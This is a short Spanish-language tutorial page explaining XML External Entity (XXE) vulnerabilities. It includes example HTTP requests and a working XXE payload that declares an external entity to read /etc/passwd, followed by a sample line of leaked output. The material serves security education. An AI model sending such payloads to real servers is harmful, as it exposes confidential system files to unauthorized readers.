XML External Entity(EXX)
El lenguaje de marcado extensible (XML) permite definir y almacenar datos de forma compartible. XML admite el intercambio de información entre sistemas de computación, como sitios web, bases de datos y aplicaciones de terceros.
Tipos de vulnerabilidades de XML
XXE (XML External Entity)
Un ataque de entidad externa XML es un tipo de ataque contra una aplicación que analiza la entrada XML. Este ataque ocurre cuando la entrada XML que contiene una referencia a una entidad externa es procesada por un analizador XML débilmente configurado .Es un formato de datos popular que se utiliza para servicios web (SOAP, REST), documentos (XML, HTML, DOCX), imágenes (svg, datos exif), etc.
<?xml version="1.0" encoding="UTF-8"?>
<root>
<product>
<name>Producto 1</name>
<price>100</price>
</product>
<product>
<name>Producto 2</name>
<price>200</price>
</product>
</root>
¿Cómo detectarlos y explotarlos?
Las aplicaciones necesitan un analizador XML o un procesador XML para interpretar datos XML. La vulnerabilidad XXE surge cuando el analizador XML interpreta la carga útil maliciosa como datos XML estándar que pueden terminar accediendo o extrayendo datos confidenciales en el servidor.
Para dar un ejemplo, una solicitud HTTP básica con cuerpo XML y la respuesta HTTP correspondiente se parece a lo siguiente:
POST /api/users HTTP/1.1
Host: example.com
Content-Type: application/xml
Content-Length: 100
<?xml version="1.0" encoding="UTF-8"?>
<user>
<username>admin</username>
<password>secret</password>
</user>
Cuando el atacante envía los siguientes datos XML con la carga útil XXE incluida, el analizador XML procesa entidades externas, lo que hace que el servidor devuelva el contenido del archivo interno /etc/passwd.
POST /api/users HTTP/1.1
Host: example.com
Content-Type: application/xml
Content-Length: 141
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE user [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>
<username>&xxe;</username>
<password>secret</password>
</user>
Posible contenido
root:x:0:0:root:/root:/bin/bash
Videos
Recursos
Última actualización